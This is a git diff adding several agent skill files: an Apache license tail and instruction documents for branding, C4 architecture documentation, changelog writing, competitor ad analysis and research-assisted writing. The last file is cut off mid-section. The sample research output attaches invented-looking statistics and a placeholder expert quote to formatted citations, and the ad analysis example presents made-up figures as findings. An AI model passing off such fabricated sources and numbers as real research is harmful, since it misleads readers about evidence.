Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/brand-guidelines/SKILL.md b/skills/brand-guidelines/SKILL.md new file mode 100644 index 0000000..3980c2f --- /dev/null +++ b/skills/brand-guidelines/SKILL.md @@ -0,0 +1,103 @@ +--- +name: brand-guidelines +description: Applies OpenCode's official brand colors and typography to any sort of artifact that may benefit from having OpenCode's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply. +license: Complete terms in LICENSE.txt +--- + +# OpenCode Brand Styling + +## Overview + +To access OpenCode's official brand identity and style resources, use this skill. + +**Keywords**: branding, corporate identity, visual identity, post-processing, styling, brand colors, typography, OpenCode brand, visual formatting, visual design + +## Brand Guidelines + +### Colors + +**Main Colors (based on OpenCode default dark theme):** + +- **Primary/Dark**: System terminal background (uses "none" - adapts to terminal) +- **Text**: System terminal foreground (uses "none" - adapts to terminal) +- **Primary Accent**: Used for actions and highlights +- **Secondary Accent**: Used for secondary elements +- **Success Green**: Used for success states +- **Error Red**: Used for error states +- **Warning Yellow**: Used for warnings +- **Info Blue**: Used for informational elements + +**Recommended Color Palette (for external artifacts):** + +When creating artifacts for use outside OpenCode terminal, use these colors: + +- **Dark Background**: `#1a1b26` or `#1e1e2e` (based on Nord/dark themes) +- **Light Background**: `#eceff4` or `#d8dee9` (based on Nord light themes) +- **Text (Dark)**: `#d8dee9` or `#eceff4` +- **Text (Light)**: `#2e3440` or `#434c5e` +- **Accent Blue**: `#81a1c1` or `#88c0d0` +- **Accent Green**: `#a3be8c` or `#8fbcbb` +- **Accent Purple**: `#b48ead` or `#d08770` +- **Accent Yellow**: `#ebcb8b` or `#bf616a` + +### Typography + +- **Headings/Code**: JetBrains Mono, Fira Code, or any modern monospace font +- **Body Text**: System sans-serif (Inter, San Francisco, or equivalent) +- **Note**: Use monospace fonts for code, technical content, and maintain readability with system fonts for general text + +## Features + +### Smart Font Application + +- Applies monospace fonts to code blocks, headings (24pt and larger) +- Applies system sans-serif fonts to body text +- Automatically falls back to system defaults if custom fonts unavailable +- Preserves readability across all systems + +### Text Styling + +- Code blocks and headings (14pt+): Monospace font +- Body text: System sans-serif font +- Smart color selection based on background (dark/light) +- Preserves text hierarchy and formatting + +### Shape and Accent Colors + +- Non-text shapes use accent colors from palette +- Cycles through blue, green, purple, and yellow accents +- Maintains visual interest while staying on-brand +- Supports both dark and light modes + +## Technical Details + +### Font Management + +- Uses system-installed JetBrains Mono or Fira Code when available +- Provides automatic fallback to system monospace fonts +- No font installation required - works with existing system fonts +- For best results, install JetBrains Mono or Fira Code in your environment + +### Color Application + +- Uses RGB color values for precise brand matching +- Applied via python-pptx's RGBColor class or similar +- Maintains color fidelity across different systems +- Supports both dark and light modes + +## Usage Guidelines + +### When to Use + +- Creating presentation slides, reports, or documents +- Designing visual assets or graphics +- Applying consistent styling across multiple artifacts +- Creating branded materials for OpenCode-related content + +### Best Practices + +- Use monospace fonts for code and technical content +- Apply accent colors sparingly for maximum impact +- Ensure sufficient contrast between text and background +- Consider dark/light mode when choosing colors +- Test color combinations in both light and dark contexts diff --git a/skills/c4-architecture-c4-architecture/SKILL.md b/skills/c4-architecture-c4-architecture/SKILL.md new file mode 100644 index 0000000..d3cb959 --- /dev/null +++ b/skills/c4-architecture-c4-architecture/SKILL.md @@ -0,0 +1,392 @@ +--- +name: c4-architecture-c4-architecture +description: "Generate comprehensive C4 architecture documentation for an existing repository/codebase using a bottom-up analysis approach." +risk: unknown +source: community +date_added: "2026-02-27" +--- + +# C4 Architecture Documentation Workflow + +Generate comprehensive C4 architecture documentation for an existing repository/codebase using a bottom-up analysis approach. + +[Extended thinking: This workflow implements a complete C4 architecture documentation process following the C4 model (Context, Container, Component, Code). It uses a bottom-up approach, starting from the deepest code directories and working upward, ensuring every code element is documented before synthesizing into higher-level abstractions. The workflow coordinates four specialized C4 agents (Code, Component, Container, Context) to create a complete architectural documentation set that serves both technical and non-technical stakeholders.] + +## Use this skill when + +- Working on c4 architecture documentation workflow tasks or workflows +- Needing guidance, best practices, or checklists for c4 architecture documentation workflow + +## Do not use this skill when + +- The task is unrelated to c4 architecture documentation workflow +- You need a different domain or tool outside this scope + +## Instructions + +- Clarify goals, constraints, and required inputs. +- Apply relevant best practices and validate outcomes. +- Provide actionable steps and verification. +- If detailed examples are required, open `resources/implementation-playbook.md`. + +## Overview + +This workflow creates comprehensive C4 architecture documentation following the [official C4 model](https://c4model.com/diagrams) by: + +1. **Code Level**: Analyzing every subdirectory bottom-up to create code-level documentation +2. **Component Level**: Synthesizing code documentation into logical components within containers +3. **Container Level**: Mapping components to deployment containers with API documentation (shows high-level technology choices) +4. **Context Level**: Creating high-level system context with personas and user journeys (focuses on people and software systems, not technologies) + +**Note**: According to the [C4 model](https://c4model.com/diagrams), you don't need to use all 4 levels of diagram - the system context and container diagrams are sufficient for most software development teams. This workflow generates all levels for completeness, but teams can choose which levels to use. + +All documentation is written to a new `C4-Documentation/` directory in the repository root. + +## Phase 1: Code-Level Documentation (Bottom-Up Analysis) + +### 1.1 Discover All Subdirectories + +- Use codebase search to identify all subdirectories in the repository +- Sort directories by depth (deepest first) for bottom-up processing +- Filter out common non-code directories (node_modules, .git, build, dist, etc.) +- Create list of directories to process + +### 1.2 Process Each Directory (Bottom-Up) + +For each directory, starting from the deepest: + +- Use Task tool with subagent_type="c4-architecture::c4-code" +- Prompt: | + Analyze the code in directory: [directory_path] + + Create comprehensive C4 Code-level documentation following this structure: + 1. **Overview Section**: + - Name: [Descriptive name for this code directory] + - Description: [Short description of what this code does] + - Location: [Link to actual directory path relative to repo root] + - Language: [Primary programming language(s) used] + - Purpose: [What this code accomplishes] + 2. **Code Elements Section**: + - Document all functions/methods with complete signatures: + - Function name, parameters (with types), return type + - Description of what each function does + - Location (file path and line numbers) + - Dependencies (what this function depends on) + - Document all classes/modules: + - Class name, description, location + - Methods and their signatures + - Dependencies + 3. **Dependencies Section**: + - Internal dependencies (other code in this repo) + - External dependencies (libraries, frameworks, services) + 4. **Relationships Section**: + - Optional Mermaid diagram if relationships are complex + + Save the output as: C4-Documentation/c4-code-[directory-name].md + Use a sanitized directory name (replace / with -, remove special chars) for the filename. + + Ensure the documentation includes: + - Complete function signatures with all parameters and types + - Links to actual source code locations + - All dependencies (internal and external) + - Clear, descriptive names and descriptions + +- Expected output: c4-code-<directory-name>.md file in C4-Documentation/ +- Context: All files in the directory and its subdirectories + +**Repeat for every subdirectory** until all directories have corresponding c4-code-\*.md files. + +## Phase 2: Component-Level Synthesis + +### 2.1 Analyze All Code-Level Documentation + +- Collect all c4-code-\*.md files created in Phase 1 +- Analyze code structure, dependencies, and relationships +- Identify logical component boundaries based on: + - Domain boundaries (related business functionality) + - Technical boundaries (shared frameworks, libraries) + - Organizational boundaries (team ownership, if evident) + +### 2.2 Create Component Documentation + +For each identified component: + +- Use Task tool with subagent_type="c4-architecture::c4-component" +- Prompt: | + Synthesize the following C4 Code-level documentation files into a logical component: + + Code files to analyze: + [List of c4-code-*.md file paths] + + Create comprehensive C4 Component-level documentation following this structure: + 1. **Overview Section**: + - Name: [Component name - descriptive and meaningful] + - Description: [Short description of component purpose] + - Type: [Application, Service, Library, etc.] + - Technology: [Primary technologies used] + 2. **Purpose Section**: + - Detailed description of what this component does + - What problems it solves + - Its role in the system + 3. **Software Features Section**: + - List all software features provided by this component + - Each feature with a brief description + 4. **Code Elements Section**: + - List all c4-code-\*.md files contained in this component + - Link to each file with a brief description + 5. **Interfaces Section**: + - Document all component interfaces: + - Interface name + - Protocol (REST, GraphQL, gRPC, Events, etc.) + - Description + - Operations (function signatures, endpoints, etc.) + 6. **Dependencies Section**: + - Components used (other components this depends on) + - External systems (databases, APIs, services) + 7. **Component Diagram**: + - Mermaid diagram showing this component and its relationships + + Save the output as: C4-Documentation/c4-component-[component-name].md + Use a sanitized component name for the filename. + +- Expected output: c4-component-<name>.md file for each component +- Context: All relevant c4-code-\*.md files for this component + +### 2.3 Create Master Component Index + +- Use Task tool with subagent_type="c4-architecture::c4-component" +- Prompt: | + Create a master component index that lists all components in the system. + + Based on all c4-component-\*.md files created, generate: + 1. **System Components Section**: + - List all components with: + - Component name + - Short description + - Link to component documentation + 2. **Component Relationships Diagram**: + - Mermaid diagram showing all components and their relationships + - Show dependencies between components + - Show external system dependencies + + Save the output as: C4-Documentation/c4-component.md + +- Expected output: Master c4-component.md file +- Context: All c4-component-\*.md files + +## Phase 3: Container-Level Synthesis + +### 3.1 Analyze Components and Deployment Definitions + +- Review all c4-component-\*.md files +- Search for deployment/infrastructure definitions: + - Dockerfiles + - Kubernetes manifests (deployments, services, etc.) + - Docker Compose files + - Terraform/CloudFormation configs + - Cloud service definitions (AWS Lambda, Azure Functions, etc.) + - CI/CD pipeline definitions + +### 3.2 Map Components to Containers + +- Use Task tool with subagent_type="c4-architecture::c4-container" +- Prompt: | + Synthesize components into containers based on deployment definitions. + + Component documentation: + [List of all c4-component-*.md file paths] + + Deployment definitions found: + [List of deployment config files: Dockerfiles, K8s manifests, etc.] + + Create comprehensive C4 Container-level documentation following this structure: + 1. **Containers Section** (for each container): + - Name: [Container name] + - Description: [Short description of container purpose and deployment] + - Type: [Web Application, API, Database, Message Queue, etc.] + - Technology: [Primary technologies: Node.js, Python, PostgreSQL, etc.] + - Deployment: [Docker, Kubernetes, Cloud Service, etc.] + 2. **Purpose Section** (for each container): + - Detailed description of what this container does + - How it's deployed + - Its role in the system + 3. **Components Section** (for each container): + - List all components deployed in this container + - Link to component documentation + 4. **Interfaces Section** (for each container): + - Document all container APIs and interfaces: + - API/Interface name + - Protocol (REST, GraphQL, gRPC, Events, etc.) + - Description + - Link to OpenAPI/Swagger/API Spec file + - List of endpoints/operations + 5. **API Specifications**: + - For each container API, create an OpenAPI 3.1+ specification + - Save as: C4-Documentation/apis/[container-name]-api.yaml + - Include: + - All endpoints with methods (GET, POST, etc.) + - Request/response schemas + - Authentication requirements + - Error responses + 6. **Dependencies Section** (for each container): + - Containers used (other containers this depends on) + - External systems (databases, third-party APIs, etc.) + - Communication protocols + 7. **Infrastructure Section** (for each container): + - Link to deployment config (Dockerfile, K8s manifest, etc.) + - Scaling strategy + - Resource requirements (CPU, memory, storage) + 8. **Container Diagram**: + - Mermaid diagram showing all containers and their relationships + - Show communication protocols + - Show external system dependencies + + Save the output as: C4-Documentation/c4-container.md + +- Expected output: c4-container.md with all containers and API specifications +- Context: All component documentation and deployment definitions + +## Phase 4: Context-Level Documentation + +### 4.1 Analyze System Documentation + +- Review container and component documentation +- Search for system documentation: + - README files + - Architecture documentation + - Requirements documents + - Design documents + - Test files (to understand system behavior) + - API documentation + - User documentation + +### 4.2 Create Context Documentation + +- Use Task tool with subagent_type="c4-architecture::c4-context" +- Prompt: | + Create comprehensive C4 Context-level documentation for the system. + + Container documentation: C4-Documentation/c4-container.md + Component documentation: C4-Documentation/c4-component.md + System documentation: [List of README, architecture docs, requirements, etc.] + Test files: [List of test files that show system behavior] + + Create comprehensive C4 Context-level documentation following this structure: + 1. **System Overview Section**: + - Short Description: [One-sentence description of what the system does] + - Long Description: [Detailed description of system purpose, capabilities, problems solved] + 2. **Personas Section**: + - For each persona (human users and programmatic "users"): + - Persona name + - Type (Human User / Programmatic User / External System) + - Description (who they are, what they need) + - Goals (what they want to achieve) + - Key features used + 3. **System Features Section**: + - For each high-level feature: + - Feature name + - Description (what this feature does) + - Users (which personas use this feature) + - Link to user journey map + 4. **User Journeys Section**: + - For each key feature and persona: + - Journey name: [Feature Name] - [Persona Name] Journey + - Step-by-step journey: + 1. [Step 1]: [Description] + 2. [Step 2]: [Description] + ... + - Include all system touchpoints + - For programmatic users (external systems, APIs): + - Integration journey with step-by-step process + 5. **External Systems and Dependencies Section**: + - For each external system: + - System name + - Type (Database, API, Service, Message Queue, etc.) + - Description (what it provides) + - Integration type (API, Events, File Transfer, etc.) + - Purpose (why the system depends on this) + 6. **System Context Diagram**: + - Mermaid C4Context diagram showing: + - The system (as a box in the center) + - All personas (users) around it + - All external systems around it + - Relationships and data flows + - Use C4Context notation for proper C4 diagram + 7. **Related Documentation Section**: + - Links to container documentation + - Links to component documentation + + Save the output as: C4-Documentation/c4-context.md + + Ensure the documentation is: + - Understandable by non-technical stakeholders + - Focuses on system purpose, users, and external relationships + - Includes comprehensive user journey maps + - Identifies all external systems and dependencies + +- Expected output: c4-context.md with complete system context +- Context: All container, component, and system documentation + +## Configuration Options + +- `target_directory`: Root directory to analyze (default: current repository root) +- `exclude_patterns`: Patterns to exclude (default: node_modules, .git, build, dist, etc.) +- `output_directory`: Where to write C4 documentation (default: C4-Documentation/) +- `include_tests`: Whether to analyze test files for context (default: true) +- `api_format`: Format for API specs (default: openapi) + +## Success Criteria + +- ✅ Every subdirectory has a corresponding c4-code-\*.md file +- ✅ All code-level documentation includes complete function signatures +- ✅ Components are logically grouped with clear boundaries +- ✅ All components have interface documentation +- ✅ Master component index created with relationship diagram +- ✅ Containers map to actual deployment units +- ✅ All container APIs documented with OpenAPI/Swagger specs +- ✅ Container diagram shows deployment architecture +- ✅ System context includes all personas (human and programmatic) +- ✅ User journeys documented for all key features +- ✅ All external systems and dependencies identified +- ✅ Context diagram shows system, users, and external systems +- ✅ Documentation is organized in C4-Documentation/ directory + +## Output Structure + +``` +C4-Documentation/ +├── c4-code-*.md # Code-level docs (one per directory) +├── c4-component-*.md # Component-level docs (one per component) +├── c4-component.md # Master component index +├── c4-container.md # Container-level docs +├── c4-context.md # Context-level docs +└── apis/ # API specifications + ├── [container]-api.yaml # OpenAPI specs for each container + └── ... +``` + +## Coordination Notes + +- **Bottom-up processing**: Process directories from deepest to shallowest +- **Incremental synthesis**: Each level builds on the previous level's documentation +- **Complete coverage**: Every directory must have code-level documentation before synthesis +- **Link consistency**: All documentation files link to each other appropriately +- **API documentation**: Container APIs must have OpenAPI/Swagger specifications +- **Stakeholder-friendly**: Context documentation should be understandable by non-technical stakeholders +- **Mermaid diagrams**: Use proper C4 Mermaid notation for all diagrams + +## Example Usage + +```bash +/c4-architecture:c4-architecture +``` + +This will: + +1. Walk through all subdirectories bottom-up +2. Create c4-code-\*.md for each directory +3. Synthesize into components +4. Map to containers with API docs +5. Create system context with personas and journeys + +All documentation written to: C4-Documentation/ diff --git a/skills/changelog-generator/SKILL.md b/skills/changelog-generator/SKILL.md new file mode 100644 index 0000000..5e10b27 --- /dev/null +++ b/skills/changelog-generator/SKILL.md @@ -0,0 +1,110 @@ +--- +name: changelog-generator +description: Automatically creates user-facing changelogs from git commits by analyzing commit history, categorizing changes, and transforming technical commits into clear, customer-friendly release notes. Turns hours of manual changelog writing into minutes of automated generation. +--- + +# Changelog Generator + +This skill transforms technical git commits into polished, user-friendly changelogs that your customers and users will actually understand and appreciate. + +## Prerequisites + +- **Git**: Required for reading commit history +- **Repository access**: Must be run from a git repository root +- **Optional**: Custom changelog style guide (CHANGELOG_STYLE.md) + +## When to Use This Skill + +- Preparing release notes for a new version +- Creating weekly or monthly product update summaries +- Documenting changes for customers +- Writing changelog entries for app store submissions +- Generating update notifications +- Creating internal release documentation +- Maintaining a public changelog/product updates page + +## What This Skill Does + +1. **Scans Git History**: Analyzes commits from a specific time period or between versions +2. **Categorizes Changes**: Groups commits into logical categories (features, improvements, bug fixes, breaking changes, security) +3. **Translates Technical → User-Friendly**: Converts developer commits into customer language +4. **Formats Professionally**: Creates clean, structured changelog entries +5. **Filters Noise**: Excludes internal commits (refactoring, tests, etc.) +6. **Follows Best Practices**: Applies changelog guidelines and your brand voice + +## How to Use + +### Basic Usage + +From your project repository: + +``` +Create a changelog from commits since last release +``` + +``` +Generate changelog for all commits from the past week +``` + +``` +Create release notes for version 2.5.0 +``` + +### With Specific Date Range + +``` +Create a changelog for all commits between March 1 and March 15 +``` + +### With Custom Guidelines + +``` +Create a changelog for commits since v2.4.0, using my changelog +guidelines from CHANGELOG_STYLE.md +``` + +## Example + +**User**: "Create a changelog for commits from the past 7 days" + +**Output**: +```markdown +# Updates - Week of March 10, 2024 + +## ✨ New Features + +- **Team Workspaces**: Create separate workspaces for different + projects. Invite team members and keep everything organized. + +- **Keyboard Shortcuts**: Press ? to see all available shortcuts. + Navigate faster without touching your mouse. + +## 🔧 Improvements + +- **Faster Sync**: Files now sync 2x faster across devices +- **Better Search**: Search now includes file contents, not just titles + +## 🐛 Fixes + +- Fixed issue where large images wouldn't upload +- Resolved timezone confusion in scheduled posts +- Corrected notification badge count +``` + +**Inspired by:** Manik Aggarwal's use case from Lenny's Newsletter + +## Tips + +- Run from your git repository root +- Specify date ranges for focused changelogs +- Use your CHANGELOG_STYLE.md for consistent formatting +- Review and adjust the generated changelog before publishing +- Save output directly to CHANGELOG.md + +## Related Use Cases + +- Creating GitHub release notes +- Writing app store update descriptions +- Generating email updates for users +- Creating social media announcement posts + diff --git a/skills/competitive-ads-extractor/SKILL.md b/skills/competitive-ads-extractor/SKILL.md new file mode 100644 index 0000000..c8b9308 --- /dev/null +++ b/skills/competitive-ads-extractor/SKILL.md @@ -0,0 +1,298 @@ +--- +name: competitive-ads-extractor +description: Extracts and analyzes competitors' ads from ad libraries (Facebook, LinkedIn, etc.) to understand what messaging, problems, and creative approaches are working. Helps inspire and improve your own ad campaigns. +--- + +# Competitive Ads Extractor + +This skill extracts your competitors' ads from ad libraries and analyzes what's working—the problems they're highlighting, use cases they're targeting, and copy/creative that's resonating. + +## Prerequisites + +- **Web scraping tools**: For accessing ad libraries (Selenium, Playwright, or direct APIs) +- **Optional**: Facebook Business API or LinkedIn Ads API for programmatic access + +## When to Use This Skill + +- Researching competitor ad strategies +- Finding inspiration for your own ads +- Understanding market positioning +- Identifying successful ad patterns +- Analyzing messaging that works +- Discovering new use cases or pain points +- Planning ad campaigns with proven concepts + +## What This Skill Does + +1. **Extracts Ads**: Scrapes ads from Facebook Ad Library, LinkedIn, etc. +2. **Captures Screenshots**: Saves visual copies of all ads +3. **Analyzes Messaging**: Identifies problems, use cases, and value props +4. **Categorizes Ads**: Groups by theme, audience, or format +5. **Identifies Patterns**: Finds common successful approaches +6. **Provides Insights**: Explains why certain ads likely perform well + +## How to Use + +### Basic Extraction + +``` +Extract all current ads from [Competitor Name] on Facebook Ad Library +``` + +``` +Scrape ads from [Company] and analyze their messaging +``` + +### Specific Analysis + +``` +Get all ads from [Competitor] focusing on their messaging +about [specific problem]. What pain points are they highlighting? +``` + +### Competitive Set + +``` +Extract ads from these 5 competitors: [list]. +Compare their approaches and tell me what's working. +``` + +### Specific Platform + +``` +Get LinkedIn ads from [Competitor] and analyze their +B2B positioning strategy +``` + +## Example + +**User**: "Extract ads from Notion on Facebook Ad Library and tell me what messaging is working for them." + +**Process**: +``` +Accessing Facebook Ad Library... +Searching for: Notion +Found: 23 active ads + +Extracting screenshots... +[████████████████████] 100% + +Saved to: competitor-ads/notion/ +- ad-001-collaboration.png +- ad-002-productivity.png +- ad-003-templates.png +... + +Analyzing messaging... +``` + +**Output**: +``` +# Notion Ad Analysis + +## Overview +- Total Ads: 23 active +- Primary Themes: Productivity (35%), Collaboration (30%), + Templates (20%), AI Features (15%) +- Ad Formats: Static images (60%), Video (40%) +- CTA Patterns: "Try for free", "Get started" + +## Key Problems They're Highlighting + +1. **Scattered Information** (8 ads) + Copy: "Stop switching between 10 different tools" + Why it works: Direct pain point many teams face + +2. **Meeting Overload** (5 ads) + Copy: "Replace unnecessary meetings with async updates" + Why it works: Post-COVID remote work pain point + +3. **Lost Documentation** (4 ads) + Copy: "Never ask 'where is that doc?' again" + Why it works: Universal workplace frustration + +## Successful Creative Patterns + +### Pattern 1: Before/After Split +- Shows chaotic tool landscape → Clean Notion workspace +- Used in 6 high-performing ads +- Visual metaphor is immediately clear + +### Pattern 2: Feature Showcase +- GIF of actual product usage +- Shows specific feature in 5 seconds +- Used for new features (AI, templates) + +### Pattern 3: Social Proof +- "Join 20M users" messaging +- Customer logos +- Used in 4 ads targeting enterprise + +## Copy That's Working + +Best Headlines: +1. "Your team's knowledge, finally in one place" + → Benefit-focused, addresses pain directly + +2. "The all-in-one workspace" + → Clear positioning, broad appeal + +3. "AI that actually helps you work" + → Addresses AI skepticism, practical angle + +Best Body Copy Patterns: +- Short sentences (under 10 words) +- Focus on outcomes not features +- Include specific numbers ("Cut meetings by 50%") + +## Audience Targeting Insights + +Based on ad variations: +- Startup founders: Solo productivity angle +- Team leads: Collaboration and alignment +- Enterprise: Security and compliance mentions +- Students: Free plan, templates, organization + +## Recommendations for Your Ads + +1. **Test the "tool sprawl" pain point** + → Strong resonance based on their ad frequency + +2. **Use product screenshots over abstract visuals** + → All their top ads show actual UI + +3. **Lead with the problem, not the solution** + → "Tired of X?" performs better than "Introducing Y" + +4. **Keep copy under 100 characters** + → Their shortest ads seem most frequent + +5. **Test before/after visual formats** + → Proven pattern in their creative + +## Files Saved +- All ads: ~/competitor-ads/notion/ +- Analysis: ~/competitor-ads/notion/analysis.md +- Best performers: ~/competitor-ads/notion/top-10/ +``` + +**Inspired by:** Sumant Subrahmanya's use case from Lenny's Newsletter + +## What You Can Learn + +### Messaging Analysis +- What problems they emphasize +- How they position against competition +- Value propositions that resonate +- Target audience segments + +### Creative Patterns +- Visual styles that work +- Video vs. static image performance +- Color schemes and branding +- Layout patterns + +### Copy Formulas +- Headline structures +- Call-to-action patterns +- Length and tone +- Emotional triggers + +### Campaign Strategy +- Seasonal campaigns +- Product launch approaches +- Feature announcement tactics +- Retargeting patterns + +## Best Practices + +### Legal & Ethical +✓ Only use for research and inspiration +✓ Don't copy ads directly +✓ Respect intellectual property +✓ Use insights to inform original creative +✗ Don't plagiarize copy or steal designs + +### Analysis Tips +1. **Look for patterns**: What themes repeat? +2. **Track over time**: Save ads monthly to see evolution +3. **Test hypotheses**: Adapt successful patterns for your brand +4. **Segment by audience**: Different messages for different targets +5. **Compare platforms**: LinkedIn vs Facebook messaging differs + +## Advanced Features + +### Trend Tracking +``` +Compare [Competitor]'s ads from Q1 vs Q2. +What messaging has changed? +``` + +### Multi-Competitor Analysis +``` +Extract ads from [Company A], [Company B], [Company C]. +What are the common patterns? Where do they differ? +``` + +### Industry Benchmarks +``` +Show me ad patterns across the top 10 project management +tools. What problems do they all focus on? +``` + +### Format Analysis +``` +Analyze video ads vs static image ads from [Competitor]. +Which gets more engagement? (if data available) +``` + +## Common Workflows + +### Ad Campaign Planning +1. Extract competitor ads +2. Identify successful patterns +3. Note gaps in their messaging +4. Brainstorm unique angles +5. Draft test ad variations + +### Positioning Research +1. Get ads from 5 competitors +2. Map their positioning +3. Find underserved angles +4. Develop differentiated messaging +5. Test against their approaches + +### Creative Inspiration +1. Extract ads by theme +2. Analyze visual patterns +3. Note color and layout trends +4. Adapt successful patterns +5. Create original variations + +## Tips for Success + +1. **Regular Monitoring**: Check monthly for changes +2. **Broad Research**: Look at adjacent competitors too +3. **Save Everything**: Build a reference library +4. **Test Insights**: Run your own experiments +5. **Track Performance**: A/B test inspired concepts +6. **Stay Original**: Use for inspiration, not copying +7. **Multiple Platforms**: Compare Facebook, LinkedIn, TikTok, etc. + +## Output Formats + +- **Screenshots**: All ads saved as images +- **Analysis Report**: Markdown summary of insights +- **Spreadsheet**: CSV with ad copy, CTAs, themes +- **Presentation**: Visual deck of top performers +- **Pattern Library**: Categorized by approach + +## Related Use Cases + +- Writing better ad copy for your campaigns +- Understanding market positioning +- Finding content gaps in your messaging +- Discovering new use cases for your product +- Planning product marketing strategy +- Inspiring social media content + diff --git a/skills/content-research-writer/SKILL.md b/skills/content-research-writer/SKILL.md new file mode 100644 index 0000000..c34377c --- /dev/null +++ b/skills/content-research-writer/SKILL.md @@ -0,0 +1,538 @@ +--- +name: content-research-writer +description: Assists in writing high-quality content by conducting research, adding citations, improving hooks, iterating on outlines, and providing real-time feedback on each section. Transforms your writing process from solo effort to collaborative partnership. +--- + +# Content Research Writer + +This skill acts as your writing partner, helping you research, outline, draft, and refine content while maintaining your unique voice and style. + +## When to Use This Skill + +- Writing blog posts, articles, or newsletters +- Creating educational content or tutorials +- Drafting thought leadership pieces +- Researching and writing case studies +- Producing technical documentation with sources +- Writing with proper citations and references +- Improving hooks and introductions +- Getting section-by-section feedback while writing + +## What This Skill Does + +1. **Collaborative Outlining**: Helps you structure ideas into coherent outlines +2. **Research Assistance**: Finds relevant information and adds citations +3. **Hook Improvement**: Strengthens your opening to capture attention +4. **Section Feedback**: Reviews each section as you write +5. **Voice Preservation**: Maintains your writing style and tone +6. **Citation Management**: Adds and formats references properly +7. **Iterative Refinement**: Helps you improve through multiple drafts + +## How to Use + +### Setup Your Writing Environment + +Create a dedicated folder for your article: +``` +mkdir ~/writing/my-article-title +cd ~/writing/my-article-title +``` + +Create your draft file: +``` +touch article-draft.md +``` + +Open OpenCode from this directory and start writing. + +### Basic Workflow + +1. **Start with an outline**: +``` +Help me create an outline for an article about [topic] +``` + +2. **Research and add citations**: +``` +Research [specific topic] and add citations to my outline +``` + +3. **Improve the hook**: +``` +Here's my introduction. Help me make the hook more compelling. +``` + +4. **Get section feedback**: +``` +I just finished the "Why This Matters" section. Review it and give feedback. +``` + +5. **Refine and polish**: +``` +Review the full draft for flow, clarity, and consistency. +``` + +## Instructions + +When a user requests writing assistance: + +1. **Understand the Writing Project** + + Ask clarifying questions: + - What's the topic and main argument? + - Who's the target audience? + - What's the desired length/format? + - What's your goal? (educate, persuade, entertain, explain) + - Any existing research or sources to include? + - What's your writing style? (formal, conversational, technical) + +2. **Collaborative Outlining** + + Help structure the content: + + ```markdown + # Article Outline: [Title] + + ## Hook + - [Opening line/story/statistic] + - [Why reader should care] + + ## Introduction + - Context and background + - Problem statement + - What this article covers + + ## Main Sections + + ### Section 1: [Title] + - Key point A + - Key point B + - Example/evidence + - [Research needed: specific topic] + + ### Section 2: [Title] + - Key point C + - Key point D + - Data/citation needed + + ### Section 3: [Title] + - Key point E + - Counter-arguments + - Resolution + + ## Conclusion + - Summary of main points + - Call to action + - Final thought + + ## Research To-Do + - [ ] Find data on [topic] + - [ ] Get examples of [concept] + - [ ] Source citation for [claim] + ``` + + **Iterate on outline**: + - Adjust based on feedback + - Ensure logical flow + - Identify research gaps + - Mark sections for deep dives + +3. **Conduct Research** + + When user requests research on a topic: + + - Search for relevant information + - Find credible sources + - Extract key facts, quotes, and data + - Add citations in requested format + + Example output: + ```markdown + ## Research: AI Impact on Productivity + + Key Findings: + + 1. **Productivity Gains**: Studies show 40% time savings for + content creation tasks [1] + + 2. **Adoption Rates**: 67% of knowledge workers use AI tools + weekly [2] + + 3. **Expert Quote**: "AI augments rather than replaces human + creativity" - Dr. Jane Smith, MIT [3] + + Citations: + [1] McKinsey Global Institute. (2024). "The Economic Potential + of Generative AI" + [2] Stack Overflow Developer Survey (2024) + [3] Smith, J. (2024). MIT Technology Review interview + + Added to outline under Section 2. + ``` + +4. **Improve Hooks** + + When user shares an introduction, analyze and strengthen: + + **Current Hook Analysis**: + - What works: [positive elements] + - What could be stronger: [areas for improvement] + - Emotional impact: [current vs. potential] + + **Suggested Alternatives**: + + Option 1: [Bold statement] + > [Example] + *Why it works: [explanation]* + + Option 2: [Personal story] + > [Example] + *Why it works: [explanation]* + + Option 3: [Surprising data] + > [Example] + *Why it works: [explanation]* + + **Questions to hook**: + - Does it create curiosity? + - Does it promise value? + - Is it specific enough? + - Does it match the audience? + +5. **Provide Section-by-Section Feedback** + + As user writes each section, review for: + + ```markdown + # Feedback: [Section Name] + + ## What Works Well ✓ + - [Strength 1] + - [Strength 2] + - [Strength 3] + + ## Suggestions for Improvement + + ### Clarity + - [Specific issue] → [Suggested fix] + - [Complex sentence] → [Simpler alternative] + + ### Flow + - [Transition issue] → [Better connection] + - [Paragraph order] → [Suggested reordering] + 